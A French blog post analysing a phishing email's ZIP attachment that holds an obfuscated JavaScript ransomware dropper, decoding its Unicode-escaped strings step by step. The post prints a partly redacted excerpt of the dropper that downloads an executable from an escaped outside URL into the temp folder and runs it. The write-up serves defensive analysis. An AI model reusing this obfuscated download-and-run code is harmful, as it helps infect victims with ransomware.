Autopsie d'un malware en Javascript

Cette semaine, un de mes collègues a reçu un e-mail contenant un fichier "SCANNED IMAGES.zip". Ne connaissant pas l'expéditeur, il m'a demandé s'il pouvait ouvrir ce fichier sans risque ou s'il devait le supprimer.

Curieux de voir de quoi il s'agissait, je lui ai demandé de me forwarder ce message.

Une fois le fichier ZIP attaché sauvegardé, j'ai tout d'abord examiné son contenu avec 7Zip, sans le décompresser.

L'archive contenait un seul fichier, baptisé YY9861891780.js.

Par sécurité et pour éviter un double-clic fatal, j'ai renommé le fichier en .txt avant de l'extraire.



Une fois, ouvert dans Notepad++, j'ai constaté qu'il s'agissait d'un fichier Javascript minifié dont une grande partie du contenu avait été rendu illisible en remplaçant chaque caractère par son code UTF-8, à l'aide d'une séquence d'échappement:

var uczNW= this['\u0041\u0063ti\u0076\u0065\u0058O\u0062j\u0065ct'];
var ptlPb = new uczNW('WS\u0063\u0072ip\u0074\u002E\u0053h\u0065l\u006C');
var wDghW = ptlPb['\u0045\u0078p\u0061\u006EdE\u006E\u0076\u0069\u0072\u006F\u006Em\u0065\u006Et\u0053\u0074ri\u006E\u0067\u0073']('\u0025\u0054\u0045\u004DP%') + '/R\u0068\u0049\u0044\u0075v\u007AeD\u002E\u0065xe';
var JRIkbkkHy = new uczNW('\u004D\u0053\u0058\u004D\u004C\u0032\u002E\u0058M\u004C\u0048T\u0054\u0050');
    JRIkbkkHy['\u006F\u006E\u0072\u0065a\u0064y\u0073t\u0061tec\u0068\u0061\u006Eg\u0065'] = function() {
        if (JRIkbkkHy['\u0072\u0065ady\u0073ta\u0074\u0065'] === 4) {
            var OVXCRA = new uczNW('\u0041D\u004F\u0044\u0042.Stre\u0061\u006D');
            OVXCRA['\u006Fp\u0065n']();
            OVXCRA['t\u0079p\u0065'] = 1;
            OVXCRA['wr\u0069t\u0065'](JRIkbkkHy['R\u0065\u0073p\u006F\u006E\u0073e\u0042\u006F\u0064\u0079']);
            OVXCRA['\u0070\u006Fs\u0069ti\u006F\u006E'] = 0;
            OVXCRA['\u0073\u0061\u0076\u0065\u0054o\u0046i\u006C\u0065'](wDghW, 2);
            OVXCRA['\u0063\u006Co\u0073e']();
...
...
'\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u006B\u0061\u0072\u0074\u006F\u006E\u0073\u0074\u0061\u006E\u0064\u0061\u006D\u0062\u0061\u006C\u0061j\u002E\u0063\u006F\u006D\u002E\u0074\u0072\u002F\u0073\u0079\u0073\u0074\u0065\u006D\u002F\u006C\u006Fg\u0073\u002F\u0038\u0037\u0068\u0037\u0035\u0034', false);
        JRIkbkkHy['\u0073\u0065nd']();
        ptlPb [KekAVo](wDghW, 1, false);      
    } catch (ajg9ggxFs) {};


J'ai volontairement effacé une partie du code ci-dessus pour ne pas influencer d'autres petits malins.


Pas très lisible en effet. Je me mets donc à la recherche d'un outil en ligne pour décoder l'UTF-8. Celui-ci fait rapidement l'affaire:

http://unicode.online-toolz.com/tools/text-unicode-entities-convertor.php


Je commence par décoder la première chaîne de caractères:

\u0041\u0063ti\u0076\u0065\u0058O\u0062j\u0065ct


Et j'obtiens ceci:

ActiveXObject


Bon, première bonne nouvelle. Il n'y a que Internet Explorer qui supporte les ActiveX et tout le monde travaille avec Chrome et Firefox dans mon entreprise.

Passons à la seconde chaîne de caractères:

\u0063\u0072ip\u0074\u002E\u0053h\u0065l\u006C


Avec le texte WS devant, on obtient le nom du composant ActiveX que le malware essaie d'instancier:

WScript.Shell


OK, pas besoin d'aller plus loin. Vous pouvez vous amuser vous-mêmes à décoder les chaînes suivantes.

Notre ami le pirate s'amuse à récupérer le chemin du répertoire temporaire de Windows. Il instancie après le composant MSXML2.XMLHTTP pour pouvoir commencer à télécharger des joyeusetés dans ce dossier. Tiens, il passe même par un objet ADODBStream.

Cerise sur le gateau, devinez le but du fichier téléchargé? Un joli ransomware au doux nom de TeslaCrypt (https://en.wikipedia.org/wiki/TeslaCrypt).